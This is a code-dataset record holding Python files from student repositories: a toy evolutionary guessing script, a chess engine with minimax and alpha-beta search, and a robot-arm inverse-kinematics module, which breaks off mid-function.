1617b45257fb28ac385809df02ff91ce26d1c4d2
4034e87f501ce4eb55c2a9942caad229b7b5fd9e
0962153e2a817c609b574ceef50dfba1aa467b44
refs/heads/main
2023-04-08T05:00:13.903242
2021-04-14T00:46:36
2021-04-14T00:46:36
356,442,604
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5529468059539795, "alphanum_fraction": 0.5639674067497253, "avg_line_length": 27.589040756225586, "blob_id": "27530876f794118149025ede095cf9f7f7f247f8", "content_id": "d49e3d14f56fd325b8e3c88ea4880e762ee5d5ff", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2087, "license_type": "no_license", "max_line_length": 100, "num_lines": 73, "path": "/MAX.py", "repo_name": "codingconnor112/Max", "src_encoding": "UTF-8", "text": "import copy\nimport pickle\nimport random\nimport sys\nprint(\" Max testing intellegence\")\nprint(\"a simple AI simulation\")\nprint(\"made with python version \"+sys.version)\nfile = open(r\"test.info\", mode = \"rb\")\ntry:\n testdict = pickle.load(file)\nexcept EOFError:\n pass\nfile.close()\nglobal agentnum\nagentnum = int(input(\"agents for MAX\"))\nclass Agent(object):\n def __init__(self, lineval):\n self.lineval = lineval\n self.score = 0\n def test(self, testsheet):\n answer = []\n for x in testsheet:\n if round(x) >= self.lineval:\n answer.append(True)\n else:\n answer.append(False)\n return answer\n def reproduce(self, other):\n us=other\n usnums = []\n for x in us:\n usnums.append(x.score) \n if usnums.index(max(usnums)) == us.index(self):\n agentsnew = []\n for x in range(0, agentnum-1):\n agentsnew.append(copy.copy(self))\n agentsnew[len(agentsnew-1)].lineval += random.randint(-1, 1)\n agentsnew.append(self)\n return agentsnew\n else:\n try:\n return []\n finally:\n del self\n \niternum = int(input(\"iteration count\"))\ntestque = list(testdict.keys())\ntestans = list(testdict.values())\nagents=[Agent(random.randint(0, 100)), Agent(random.randint(0, 100)), Agent(random.randint(0, 100))]\nfor z in agents:\n print(z.lineval)\nfor x in range(0, iternum):\n for i in agents:\n right = 0\n testresults = i.test(testque)\n for j in testresults:\n if j == testans[testresults.index(j)]:\n right += 1\n i.score = right\n for y in agents:\n r = i.reproduce(agents)\n if len(r) != 0:\n print(\"iteration \"+str(x+1)+\" sucessful\")\n agents = r\nfor nz in agents:\n print(nz.lineval)\nprint(\"done\")\nwhile True:\n hinputnum = int(input(\"number\"))\n if random.choice(agents).lineval >= hinputnum:\n print(\"small number\")\n else:\n print(\"big number\")\n" }, { "alpha_fraction": 0.6044444441795349, "alphanum_fraction": 0.648888885974884, "avg_line_length": 21.5, "blob_id": "f07dc00fe2599902f74f6cdd0b9e82dda797e348", "content_id": "e1a0f1a12096165bc7be2e173041d88b93dfe6d3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 225, "license_type": "no_license", "max_line_length": 42, "num_lines": 10, "path": "/rantest.py", "repo_name": "codingconnor112/Max", "src_encoding": "UTF-8", "text": "import pickle, random\nt = open(\"test.info\", \"wb\")\nt.truncate(0)\ndic = {}\nfor x in range(0, 10):\n randomnum = random.randint(0, 100)\n print(randomnum)\n dic[randomnum] = bool(input(\"1/0 big \"))\npickle.dump(dic, t)\nt.close()\n" } ]
2
ClaartjeBarkhof/ZoekenSturenBewegen
https://github.com/ClaartjeBarkhof/ZoekenSturenBewegen
0b7a3346d75639cc8e44da51e0bd71abe50c26e3
0e88ba49f72d031ef063c1b3264369aac2cb1dc4
a5a43776418ba9cdf39a040dd2872855964ef3c5
refs/heads/master
2021-01-25T05:09:52.377101
2017-06-15T16:59:45
2017-06-15T16:59:45
93,514,477
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.4804818630218506, "alphanum_fraction": 0.49828454852104187, "avg_line_length": 35.53621292114258, "blob_id": "e90f6b7f9326de9b9b9e89f74404937bd9a3ea25", "content_id": "cf5b753e647d7872ea05e89bb49200afaf613a90", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 26232, "license_type": "no_license", "max_line_length": 100, "num_lines": 718, "path": "/chessgame_herstel.py", "repo_name": "ClaartjeBarkhof/ZoekenSturenBewegen", "src_encoding": "UTF-8", "text": "from __future__ import print_function\nfrom copy import deepcopy\nimport sys\n\n\n## Helper functions\n\n# Translate a position in chess notation to x,y-coordinates\n# Example: c3 corresponds to (2,5)\ndef to_coordinate(notation):\n x = ord(notation[0]) - ord('a')\n y = 8 - int(notation[1])\n return (x, y)\n\n\n# Translate a position in x,y-coordinates to chess notation\n# Example: (2,5) corresponds to c3\ndef to_notation(coordinates):\n (x, y) = coordinates\n letter = chr(ord('a') + x)\n number = 8 - y\n return letter + str(number)\n\n\n# Translates two x,y-coordinates into a chess move notation\n# Example: (1,4) and (2,3) will become b4c5\ndef to_move(from_coord, to_coord):\n return to_notation(from_coord) + to_notation(to_coord)\n\n\n## Defining board states\n\n# These Static classes are used as enums for:\n# - Material.Rook\n# - Material.King\n# - Material.Pawn\n# - Side.White\n# - Side.Black\nclass Material:\n Rook, King, Pawn, Queen, Horse = ['r', 'k', 'p', 'q', 'h']\n\nclass Side:\n White, Black = range(0, 2)\n\n\n# A chesspiece on the board is specified by the side it belongs to and the type\n# of the chesspiece\nclass Piece:\n def __init__(self, side, material):\n self.side = side\n self.material = material\n\n\n# A chess configuration is specified by whose turn it is and a 2d array\n# with all the pieces on the board\nclass ChessBoard:\n def __init__(self, turn):\n # This variable is either equal to Side.White or Side.Black\n self.turn = turn\n self.board_matrix = None\n\n ## Getter and setter methods\n def set_board_matrix(self, board_matrix):\n self.board_matrix = board_matrix\n\n # Note: assumes the position is valid\n def get_boardpiece(self, position):\n (x, y) = position\n return self.board_matrix[y][x]\n\n # Note: assumes the position is valid\n def set_boardpiece(self, position, piece):\n (x, y) = position\n self.board_matrix[y][x] = piece\n\n # Read in the board_matrix using an input string\n def load_from_input(self, input_str):\n self.board_matrix = [[None for _ in range(8)] for _ in range(8)]\n x = 0\n y = 0\n for char in input_str:\n if y == 8:\n if char == 'W':\n self.turn = Side.White\n elif char == 'B':\n self.turn = Side.Black\n return\n if char == '\\r':\n continue\n if char == '.':\n x += 1\n continue\n if char == '\\n':\n x = 0\n y += 1\n continue\n\n if char.isupper():\n side = Side.White\n else:\n side = Side.Black\n material = char.lower()\n\n piece = Piece(side, material)\n self.set_boardpiece((x, y), piece)\n x += 1\n\n # Print the current board state\n def __str__(self):\n return_str = \"\"\n\n return_str += \" abcdefgh\\n\\n\"\n y = 8\n for board_row in self.board_matrix:\n return_str += str(y) + \" \"\n for piece in board_row:\n if piece == None:\n return_str += \".\"\n else:\n char = piece.material\n if piece.side == Side.White:\n char = char.upper()\n return_str += char\n return_str += '\\n'\n y -= 1\n\n turn_name = (\"White\" if self.turn == Side.White else \"Black\")\n return_str += \"It is \" + turn_name + \"'s turn\\n\"\n\n return return_str\n\n # Given a move string in chess notation, return a new ChessBoard object\n # with the new board situation\n # Note: this method assumes the move suggested is a valid, legal move\n def make_move(self, move_str):\n\n start_pos = to_coordinate(move_str[0:2])\n end_pos = to_coordinate(move_str[2:4])\n\n if self.turn == Side.White:\n turn = Side.Black\n else:\n turn = Side.White\n\n # Duplicate the current board_matrix\n new_matrix = [row[:] for row in self.board_matrix]\n\n # Create a new chessboard object\n new_board = ChessBoard(turn)\n new_board.set_board_matrix(new_matrix)\n\n # Carry out the move in the new chessboard object\n piece = new_board.get_boardpiece(start_pos)\n new_board.set_boardpiece(end_pos, piece)\n new_board.set_boardpiece(start_pos, None)\n\n return new_board\n\n def is_king_dead(self, side):\n seen_king = False\n for x in range(8):\n for y in range(8):\n piece = self.get_boardpiece((x, y))\n if piece != None and piece.side == side and \\\n piece.material == Material.King:\n seen_king = True\n return not seen_king\n\n # This function should return, given the current board configuation and\n # which players turn it is, all the moves possible for that player\n # It should return these moves as a list of move strings, e.g.\n # [c2c3, d4e5, f4f8]\n # TODO: write an implementation for this function\n def legal_moves(self):\n lower_bound = 0\n upper_bound = 8\n turn = self.turn\n total_moves = []\n for y in range(lower_bound, upper_bound):\n for x in range(lower_bound, upper_bound):\n location = (x, y)\n piece = self.get_boardpiece(location)\n if piece == None:\n continue\n else:\n if piece.side == turn:\n material = piece.material\n if material == Material.Pawn:\n move = self.pawn_move(turn, location)\n if move != []:\n total_moves.extend(move)\n if material == Material.Rook:\n moves = self.rook_move(turn, location)\n if moves != []:\n total_moves.extend(moves)\n if material == Material.King:\n moves = self.king_move(turn, location)\n if moves != []:\n total_moves.extend(moves)\n if material == Material.Queen:\n moves = self.queen_move(turn, location)\n if moves != []:\n total_moves.extend(moves)\n if material == Material.Horse:\n moves = self.horse_move(turn, location)\n if move != []:\n total_moves.extend(moves)\n total_moves = self.translate_coordinates(total_moves)\n # print(total_moves)\n return total_moves\n\n def horse_move(self, turn, location_1):\n moves = []\n x = location_1[0]\n y = location_1[1]\n if y > 1:\n y1 = y - 2\n if x != 0:\n x1 = x - 1\n location_2 = (x1, y1)\n if self.check_occupied_by_self(location_2) == 0:\n move = (location_1, location_2)\n moves.append(move)\n if x != 8:\n x1 = x + 1\n location_2 = (x1, y1)\n if self.check_occupied_by_self(location_2) == 0:\n move = (location_1, location_2)\n moves.append(move)\n if y < 6:\n y1 = y + 2\n if x != 0:\n x1 = x - 1\n location_2 = (x1, y1)\n if self.check_occupied_by_self(location_2) == 0:\n move = (location_1, location_2)\n moves.append(move)\n if x != 8:\n x1 = x + 1\n location_2 = (x1, y1)\n if self.check_occupied_by_self(location_2) == 0:\n move = (location_1, location_2)\n moves.append(move)\n if x > 1:\n x1 = x - 2\n if y != 0:\n y1 = y - 1\n location_2 = (x1, y1)\n if self.check_occupied_by_self(location_2) == 0:\n move = (location_1, location_2)\n moves.append(move)\n if y != 8:\n y1 = y + 1\n location_2 = (x1, y1)\n if self.check_occupied_by_self(location_2) == 0:\n move = (location_1, location_2)\n moves.append(move)\n if x < 6:\n x1 = x + 2\n if y != 0:\n y1 = y - 1\n location_2 = (x1, y1)\n if self.check_occupied_by_self(location_2) == 0:\n move = (location_1, location_2)\n moves.append(move)\n if y != 8:\n y1 = y + 1\n location_2 = (x1, y1)\n if self.check_occupied_by_self(location_2) == 0:\n move = (location_1, location_2)\n moves.append(move)\n return moves\n\n def queen_move(self, turn, location_1):\n moves = []\n location_2 = list(location_1)\n rook_moves = self.rook_move(turn, location_1)\n moves.extend(rook_moves)\n while location_2[0] != 7 and location_2[1] != 0:\n location_2[0] += 1\n location_2[1] -= 1\n if self.check_occupied_by_self(tuple(location_2)) == 0:\n moves.append([location_1, tuple(location_2)])\n else:\n break\n if self.check_occupied_by_other(tuple(location_2)) == 1:\n break\n location_2 = list(location_1)\n while location_2[0] != 7 and location_2[1] != 7:\n location_2[0] += 1\n location_2[1] += 1\n if self.check_occupied_by_self(tuple(location_2)) == 0:\n moves.append([location_1, tuple(location_2)])\n else:\n break\n if self.check_occupied_by_other(tuple(location_2)) == 1:\n break\n location_2 = list(location_1)\n while location_2[0] != 0 and location_2[1] != 7:\n location_2[0] -= 1\n location_2[1] += 1\n if self.check_occupied_by_self(tuple(location_2)) == 0:\n moves.append([location_1, tuple(location_2)])\n else:\n break\n if self.check_occupied_by_other(tuple(location_2)) == 1:\n break\n location_2 = list(location_1)\n while location_2[0] != 0 and location_2[1] != 0:\n location_2[0] -= 1\n location_2[1] -= 1\n if self.check_occupied_by_self(tuple(location_2)) == 0:\n moves.append([location_1, tuple(location_2)])\n else:\n break\n if self.check_occupied_by_other(tuple(location_2)) == 1:\n break\n return moves\n\n def pawn_move(self, turn, location_1):\n moves = []\n x = location_1[0]\n y = location_1[1]\n if turn == Side.White:\n if y != 0:\n y1 = y - 1\n location_2 = (x, y1)\n piece = self.get_boardpiece(location_2)\n if piece == None:\n move = [location_1, location_2]\n moves.append(move)\n if x != 0:\n x1 = x - 1\n location_2 = (x1, y1)\n if self.check_occupied_by_other(location_2) == 1:\n move = [location_1, location_2]\n moves.append(move)\n if x != 7:\n x1 = x + 1\n location_2 = (x1, y1)\n if self.check_occupied_by_other(location_2) == 1:\n move = [location_1, location_2]\n moves.append(move)\n else:\n if y != 7:\n y1 = y + 1\n location_2 = (x, y1)\n if self.check_occupied_by_self(location_2) == 1:\n move = [location_1, location_2]\n moves.append(move)\n if x != 0:\n x1 = x - 1\n location_2 = (x1, y1)\n if self.check_occupied_by_other(location_2) == 1:\n move = [location_1, location_2]\n moves.append(move)\n if x != 7:\n x1 = x + 1\n location_2 = (x1, y1)\n if self.check_occupied_by_other(location_2) == 1:\n move = [location_1, location_2]\n moves.append(move)\n return moves\n\n def check_occupied_by_self(self, location):\n turn = self.turn\n piece = self.get_boardpiece(location)\n if piece != None:\n if piece.side == turn:\n return 1\n return 0\n\n def check_occupied_by_other(self, location):\n turn = self.turn\n piece = self.get_boardpiece(location)\n if piece != None:\n if piece.side != turn:\n return 1\n return 0\n\n def rook_move(self, turn, location_1):\n location_2 = list(location_1)\n moves = []\n while location_2[0] != 7:\n location_2[0] += 1\n if self.check_occupied_by_self(tuple(location_2)) == 0:\n moves.append([location_1, tuple(location_2)])\n else:\n break\n if self.check_occupied_by_other(tuple(location_2)) == 1:\n break\n location_2 = list(location_1)\n while location_2[0] != 0:\n location_2[0] -= 1\n if self.check_occupied_by_self(tuple(location_2)) == 0:\n moves.append([location_1, tuple(location_2)])\n else:\n break\n if self.check_occupied_by_other(tuple(location_2)) == 1:\n break\n location_2 = list(location_1)\n while location_2[1] != 7:\n location_2[1] += 1\n if self.check_occupied_by_self(tuple(location_2)) == 0:\n moves.append([location_1, tuple(location_2)])\n else:\n break\n if self.check_occupied_by_other(tuple(location_2)) == 1:\n break\n location_2 = list(location_1)\n while location_2[1] != 0:\n location_2[1] -= 1\n if self.check_occupied_by_self(tuple(location_2)) == 0:\n moves.append([location_1, tuple(location_2)])\n else:\n break\n if self.check_occupied_by_other(tuple(location_2)) == 1:\n break\n return moves\n\n def king_move(self, turn, location_1):\n moves = []\n x = location_1[0]\n y = location_1[1]\n if y != 0:\n lower_y = y - 1\n location_2 = (x, lower_y)\n if self.check_occupied_by_self(location_2) == 0:\n move = [location_1, location_2]\n moves.append(move)\n if x != 0:\n lower_x = x - 1\n location_2 = (lower_x, lower_y)\n if self.check_occupied_by_self(location_2) == 0:\n move = [location_1, location_2]\n moves.append(move)\n if x != 7:\n upper_x = x + 1\n location_2 = (upper_x, lower_y)\n if self.check_occupied_by_self(location_2) == 0:\n move = [location_1, location_2]\n moves.append(move)\n if x != 0:\n lower_x = x - 1\n location_2 = (lower_x, y)\n if self.check_occupied_by_self(location_2) == 0:\n move = [location_1, location_2]\n moves.append(move)\n if y != 7:\n upper_y = y + 1\n location_2 = (lower_x, upper_y)\n if self.check_occupied_by_self(location_2) == 0:\n move = [location_1, location_2]\n moves.append(move)\n if x != 7:\n upper_x = x + 1\n location_2 = (upper_x, y)\n if self.check_occupied_by_self(location_2) == 0:\n move = [location_1, location_2]\n moves.append(move)\n if y != 7:\n upper_y = y + 1\n location_2 = (upper_x, upper_y)\n if self.check_occupied_by_self(location_2) == 0:\n move = [location_1, location_2]\n moves.append(move)\n if y != 7:\n upper_y = y + 1\n location_2 = (x, upper_y)\n if self.check_occupied_by_self(location_2) == 0:\n move = [location_1, location_2]\n moves.append(move)\n return moves\n\n def translate_coordinates(self, total_moves):\n total_moves_notation = []\n for move in total_moves:\n notation_move = \"\"\n for coordinate in move:\n notation_move += to_notation(coordinate)\n total_moves_notation.append(notation_move)\n return total_moves_notation\n\n # This function should return, given the move specified (in the format\n # 'd2d3') whether this move is legal\n # TODO: write an implementation for this function, implement it in terms\n # of legal_moves()\n def is_legal_move(self, move):\n if move in self.legal_moves():\n return True\n else:\n return False\n\n def score_total_pieces(chessboard):\n score = 0\n lower_bound = 0\n upper_bound = 8\n for y in range(lower_bound, upper_bound):\n for x in range(lower_bound, upper_bound):\n location = (x, y)\n piece = chessboard.get_boardpiece(location)\n if piece != None:\n material = piece.material\n side = piece.side\n if material == Material.Pawn:\n if side == Side.White:\n score += 1\n else:\n score -= 1\n if (material == Material.Rook) or (material == Material.Horse):\n if side == Side.White:\n score += 5\n else:\n score -= 5\n if material == Material.King:\n if side == Side.White:\n score += 100\n else:\n score -= 100\n if material == Material.Queen:\n if side == Side.White:\n score += 50\n else:\n score -= 50\n return score\n\n\n# This static class is responsible for providing functions that can calculate\n# the optimal move using minimax\nclass ChessComputer:\n # This method uses either alphabeta or minimax to calculate the best move\n # possible. The input needed is a chessboard configuration and the max\n # depth of the search algorithm. It returns a tuple of (score, chessboard)\n # with score the maximum score attainable and chessboardmove that is needed\n # to achieve this score.\n\n @staticmethod\n def computer_move(chessboard, depth, alphabeta=False):\n if alphabeta:\n inf = 99999999\n min_inf = -inf\n return ChessComputer.alphabeta(chessboard, depth, min_inf, inf)\n else:\n return ChessComputer.minimax(chessboard, depth)\n\n # This function uses minimax to calculate the next move. Given the current\n # chessboard and max depth, this function should return a tuple of the\n # the score and the move that should be executed\n # NOTE: use ChessComputer.evaluate_board() to calculate the score\n # of a specific board configuration after the max depth is reached\n # TODO: write an implementation for this function\n @staticmethod\n def minimax(chessboard, depth):\n inf = 99999999\n min_inf = -inf\n turn = chessboard.turn\n if depth == 0 or chessboard.is_king_dead(Side.Black) or chessboard.is_king_dead(Side.White):\n return (ChessComputer.evaluate_board(chessboard, depth), \"there is no move anymore\")\n\n # Maximizer white\n if turn == Side.White:\n bestValue = min_inf\n bestMove = None\n for move in chessboard.legal_moves():\n new_board = chessboard.make_move(move)\n value, move1 = ChessComputer.minimax(new_board, depth - 1)\n if value > bestValue:\n bestValue = value\n bestMove = move\n return (bestValue, bestMove)\n\n # Minimizer black\n else:\n bestValue = inf\n bestMove = None\n for move in chessboard.legal_moves():\n new_board = chessboard.make_move(move)\n value, move1 = ChessComputer.minimax(new_board, depth - 1)\n if value < bestValue:\n bestValue = value\n bestMove = move\n return (bestValue, bestMove)\n\n # This function uses alphabeta to calculate the next move. Given the\n # chessboard and max depth, this function should return a tuple of the\n # the score and the move that should be executed.\n # It has alpha and beta as extra pruning parameters\n # NOTE: use ChessComputer.evaluate_board() to calculate the score\n # of a specific board configuration after the max depth is reached\n @staticmethod\n def alphabeta(chessboard, depth, alpha, beta):\n turn = chessboard.turn\n if depth == 0 or chessboard.is_king_dead(Side.Black) or chessboard.is_king_dead(Side.White):\n return (ChessComputer.evaluate_board(chessboard, depth), \"there is no move anymore\")\n\n # Maximizer white\n if turn == Side.White:\n bestValue = alpha\n bestMove = None\n for move in chessboard.legal_moves():\n new_board = chessboard.make_move(move)\n value, move1 = ChessComputer.alphabeta(new_board, depth - 1, alpha, beta)\n if value > bestValue:\n bestValue = value\n bestMove = move\n if value > alpha:\n alpha = value\n if beta <= alpha:\n break\n return (bestValue, bestMove)\n\n # Minimizer black\n else:\n bestValue = beta\n bestMove = None\n for move in chessboard.legal_moves():\n new_board = chessboard.make_move(move)\n value, move1 = ChessComputer.alphabeta(new_board, depth - 1, alpha, beta)\n if value < bestValue:\n bestValue = value\n bestMove = move\n if value < beta:\n beta = value\n if beta <= alpha:\n break\n return (bestValue, bestMove)\n\n # Calculates the score of a given board configuration based on the\n # material left on the board. Returns a score number, in which positive\n # means white is better off, while negative means black is better of\n @staticmethod\n def evaluate_board(chessboard, depth_left):\n total_score = 0\n total_score += ChessBoard.score_total_pieces(chessboard)\n #print(\"total_score without depth\", total_score)\n if depth_left > 0:\n total_score = total_score*(depth_left*10)\n return total_score\n\n\n# This class is responsible for starting the chess game, playing and user\n# feedback\nclass ChessGame:\n def __init__(self, turn):\n\n # NOTE: you can make this depth higher once you have implemented\n # alpha-beta, which is more efficient\n self.depth = 5\n self.chessboard = ChessBoard(turn)\n\n # If a file was specified as commandline argument, use that filename\n if len(sys.argv) > 1:\n filename = sys.argv[1]\n else:\n filename = \"board_configurations/mate_in_two1.chb\"\n # filename = \"board_test1.chb\"\n\n print(\"Reading from \" + filename + \"...\")\n self.load_from_file(filename)\n\n def load_from_file(self, filename):\n with open(filename) as f:\n content = f.read()\n\n self.chessboard.load_from_input(content)\n\n def main(self):\n while True:\n print(self.chessboard)\n\n # Print the current score\n score = ChessComputer.evaluate_board(self.chessboard, self.depth)\n print(\"Current score: \" + str(score))\n\n # Calculate the best possible move\n new_score, best_move = self.make_computer_move()\n\n print(\"Best move: \" + best_move)\n print(\"Score to achieve: \" + str(new_score))\n print(\"\")\n print(\"new board is:\")\n print(self.chessboard.make_move(best_move))\n self.make_human_move()\n\n def make_computer_move(self):\n print(\"Calculating best move...\")\n return ChessComputer.computer_move(self.chessboard,\n self.depth, alphabeta=True)\n\n def make_human_move(self):\n # Endlessly request input until the right input is specified\n while True:\n if sys.version_info[:2] <= (2, 7):\n move = raw_input(\"Indicate your move (or q to stop): \")\n else:\n move = input(\"Indicate your move (or q to stop): \")\n if move == \"q\":\n print(\"Exiting program...\")\n sys.exit(0)\n elif self.chessboard.is_legal_move(move):\n break\n print(\"Incorrect move!\")\n\n self.chessboard = self.chessboard.make_move(move)\n\n # Exit the game if one of the kings is dead\n if self.chessboard.is_king_dead(Side.Black):\n print(self.chessboard)\n print(\"White wins!\")\n sys.exit(0)\n elif self.chessboard.is_king_dead(Side.White):\n print(self.chessboard)\n print(\"Black wins!\")\n sys.exit(0)\n\n\nchess_game = ChessGame(Side.Black)\nchess_game.main()" }, { "alpha_fraction": 0.4020824134349823, "alphanum_fraction": 0.44262295961380005, "avg_line_length": 35.119998931884766, "blob_id": "852add8284a45d141885e55aeca62c80778e9650", "content_id": "69b7ef42d58ae4a1eac9df8fc0fa7eacfcade62b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4514, "license_type": "no_license", "max_line_length": 68, "num_lines": 125, "path": "/test.py", "repo_name": "ClaartjeBarkhof/ZoekenSturenBewegen", "src_encoding": "UTF-8", "text": "Rook, King, Pawn, Queen, Horse = ['r', 'k', 'p', 'q', 'h']\n\nif material == Material.Queen:\n moves = self.queen_move(turn, location)\n if moves != []:\n total_moves.extend(moves)\nif material == Material.Horse:\n moves = self.horse_move(turn, location)\n if move != []:\n total_moves.extend(moves)\n\ndef horse_move(self, turn, location_1):\n moves = []\n x = location_1[0]\n y = location_1[1]\n if y > 1:\n y1 = y - 2\n if x != 0:\n x1 = x - 1\n location_2 = (x1, y1)\n if self.check_occupied_by_self(location_2) == 0:\n move = (location_1, location_2)\n moves.append(move)\n if x != 8:\n x1 = x + 1\n location_2 = (x1, y1)\n if self.check_occupied_by_self(location_2) == 0:\n move = (location_1, location_2)\n moves.append(move)\n if y < 6:\n y1 = y + 2\n if x != 0:\n x1 = x - 1\n location_2 = (x1, y1)\n if self.check_occupied_by_self(location_2) == 0:\n move = (location_1, location_2)\n moves.append(move)\n if x != 8:\n x1 = x + 1\n location_2 = (x1, y1)\n if self.check_occupied_by_self(location_2) == 0:\n move = (location_1, location_2)\n moves.append(move)\n if x > 1:\n x1 = x - 2\n if y != 0:\n y1 = y - 1\n location_2 = (x1, y1)\n if self.check_occupied_by_self(location_2) == 0:\n move = (location_1, location_2)\n moves.append(move)\n if y != 8:\n y1 = y + 1\n location_2 = (x1, y1)\n if self.check_occupied_by_self(location_2) == 0:\n move = (location_1, location_2)\n moves.append(move)\n if x < 6:\n x1 = x + 2\n if y != 0:\n y1 = y - 1\n location_2 = (x1, y1)\n if self.check_occupied_by_self(location_2) == 0:\n move = (location_1, location_2)\n moves.append(move)\n if y != 8:\n y1 = y + 1\n location_2 = (x1, y1)\n if self.check_occupied_by_self(location_2) == 0:\n move = (location_1, location_2)\n moves.append(move)\n return moves\n\ndef queen_move(self, turn, location_1):\n moves = []\n location_2 = list(location_1)\n rook_moves = self.rook_move(turn,location_1)\n moves.extend(rook_moves)\n while location_2[0] != 7 and location_2[1] != 0:\n location_2[0] += 1\n location_2[1] -= 1\n if self.check_occupied_by_self(tuple(location_2)) == 0:\n moves.append([location_1, tuple(location_2)])\n else:\n break\n if self.check_occupied_by_other(tuple(location_2)) == 1:\n break\n location_2 = list(location_1)\n while location_2[0] != 7 and location_2[1] != 7:\n location_2[0] += 1\n location_2[1] += 1\n if self.check_occupied_by_self(tuple(location_2)) == 0:\n moves.append([location_1, tuple(location_2)])\n else:\n break\n if self.check_occupied_by_other(tuple(location_2)) == 1:\n break\n location_2 = list(location_1)\n while location_2[0] != 0 and location_2[1] != 7:\n location_2[0] -= 1\n location_2[1] += 1\n if self.check_occupied_by_self(tuple(location_2)) == 0:\n moves.append([location_1, tuple(location_2)])\n else:\n break\n if self.check_occupied_by_other(tuple(location_2)) == 1:\n break\n location_2 = list(location_1)\n while location_2[0] != 0 and location_2[1] != 0:\n location_2[0] -= 1\n location_2[1] -= 1\n if self.check_occupied_by_self(tuple(location_2)) == 0:\n moves.append([location_1, tuple(location_2)])\n else:\n break\n if self.check_occupied_by_other(tuple(location_2)) == 1:\n break\n return moves\n\n\nif material == Material.Queen:\n if side == Side.White:\n score += 50\n else:\n score -= 50" }, { "alpha_fraction": 0.6380751132965088, "alphanum_fraction": 0.6503437161445618, "avg_line_length": 39.93506622314453, "blob_id": "ba338b82f06cea9d5bb92856d524fbb603ce9b33", "content_id": "9be322606f1e627fe9aec8233c9850240cc06167", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 9455, "license_type": "no_license", "max_line_length": 121, "num_lines": 231, "path": "/week2/umi_student_functions.py", "repo_name": "ClaartjeBarkhof/ZoekenSturenBewegen", "src_encoding": "UTF-8", "text": "#!python2\n\nfrom __future__ import division, print_function\nfrom umi_parameters import UMI_parameters\nfrom umi_common import *\nimport math\nimport numpy as np\nfrom visual import *\n# Specifications of UMI\n# Enter the correct details in the corresponding file (umi_parameters.py).\n# <<<<<<<<<<-------------------------------------------------------------------- TODO FOR STUDENTS\nUMI = UMI_parameters()\n\n################################\n# ZSB - Opdracht 2 #\n# umi_student_functions.py #\n# 16/06/2017 #\n# #\n# Anna Stalknecht - 10792872 #\n# Claartje Barkhof - 11035129 #\n# Group C #\n# #\n################################\n\n'''\nThis file contains functions for the support of the UMI robot.\nWe implemented 3 functions: apply_inverse_kinematics, board_position_to_cartesian,\nhigh_path and move_to_garbage. We implemented them making use of de slides of Leo Dorst on Robotics.\n'''\n\ndef apply_inverse_kinematics(x, y, z, gripper):\n ''' Computes the angles of the joints, given some real world coordinates\n making use of inverse kinematics based on the Robotics readers made by\n Leo Dorst.\n :param float x: cartesian x-coordinate\n :param float y: cartesian y-coordinate\n :param float z: cartesian z-coordinate\n :return: Returns the a tuple containing the position and angles of the robot-arm joints.\n '''\n\n # Riser_position\n riser_position = y + UMI.total_arm_height\n\n # Variables:\n x_ik = x # x in inverse kinematics (x_ik)\n x_ik_2 = (x**2) # square of x_ik\n y_ik = z # z in inverse kinematics\n y_ik_2 = (z**2) # square of z_ik\n l_1 = UMI.upper_length \n l_2 = UMI.lower_length\n l_1_2 = (UMI.upper_length**2)\n l_2_2 = (UMI.lower_length**2)\n\n # IK formulas\n elbow_angle = math.acos((x_ik_2 + y_ik_2 - l_1_2 - l_2_2)/(2*l_1*l_2))\n s_2 = (math.sqrt(1-(math.cos(elbow_angle)**2)))\n shoulder_angle = math.atan2(y_ik,x_ik) - atan2((l_2*s_2),(l_1+(l_2*math.cos(elbow_angle))))\n\n # Resulting angles in degrees\n elbow_angle = degrees(elbow_angle)\n shoulder_angle = degrees(shoulder_angle)\n\n # Resulting wrist angle (counter-turning the two other joints)\n wrist_angle = (-elbow_angle-shoulder_angle)\n\n return (riser_position, shoulder_angle, elbow_angle, wrist_angle, gripper)\n\ndef board_position_to_cartesian(chessboard, position):\n ''' Convert a position between [a1-h8] to its cartesian coordinates in frameworld coordinates.\n You are not allowed to use the functions such as: frame_to_world.\n You have to show actual calculations using positions/vectors and angles.\n :param obj chessboard: The instantiation of the chessboard that you wish to use.\n :param str position: A position in the range [a1-h8]\n :return: tuple Return a position in the format (x,y,z)\n def rotate(origin, point, angle):\n '''\n # Special garbage location\n if(position == 'j5'):\n row = -2\n column = 3\n # Normal locations (center of fields on the board)\n else:\n half_pi = (math.pi/2)\n letter = position[0]\n number = int(position[1])\n angle = -(chessboard.get_angle_radians())\n\n # Get the local coordinates for the tiles on the board in the 0-7 range.\n letter_list = ['h', 'g', 'f', 'e', 'd', 'c', 'b', 'a']\n number_list = [8,7,6,5,4,3,2,1]\n field_size = chessboard.field_size #meters\n (ox, oy, oz) = chessboard.get_position() # origin of rotation\n\n # Abstract column and row from the notation-form position\n column = letter_list.index(letter)\n row = number_list.index(number)\n\n # Calculate dz and dx measured from H8, the origin of rotation\n dz = (column+0.5) * field_size\n dx = (row+0.5) * field_size\n \n # Calculate dz and dx measured from H8, the origin of rotation\n pz = oz + dz\n px = ox + dx\n \n # The actual rotating point\n world_coordinate_z = oz + math.cos(angle) * (pz - oz) - math.sin(angle) * (px - ox)\n world_coordinate_x = ox + math.sin(angle) * (pz - oz) + math.cos(angle) * (px - ox)\n\n # y is not affected by the rotation\n world_coordinate_y = chessboard.get_board_height()\n\n # Output the results.\n result = (world_coordinate_x, world_coordinate_y, world_coordinate_z)\n return result\n\ndef high_path(chessboard, from_pos, to_pos):\n '''\n Computes the high path that the arm can take to move a piece from one place on the board to another.\n :param chessboard: Chessboard object\n :param from_pos: [a1-h8]\n :param to_pos: [a1-h8]\n :return: Returns a list of instructions for the GUI.\n '''\n sequence_list = []\n # We assume that 20 centimeter above the board is safe.\n safe_height = 0.2\n # We assume that 10 centimeter above the board is \"low\".\n low_height = 0.1\n\n # Get the coordinates.\n (from_x,from_y,from_z) = board_position_to_cartesian(chessboard, from_pos)\n (to_x,to_y,to_z) = board_position_to_cartesian(chessboard, to_pos)\n\n # Define half_piece_height according to which piece you are encountering (material)\n [nonsense, 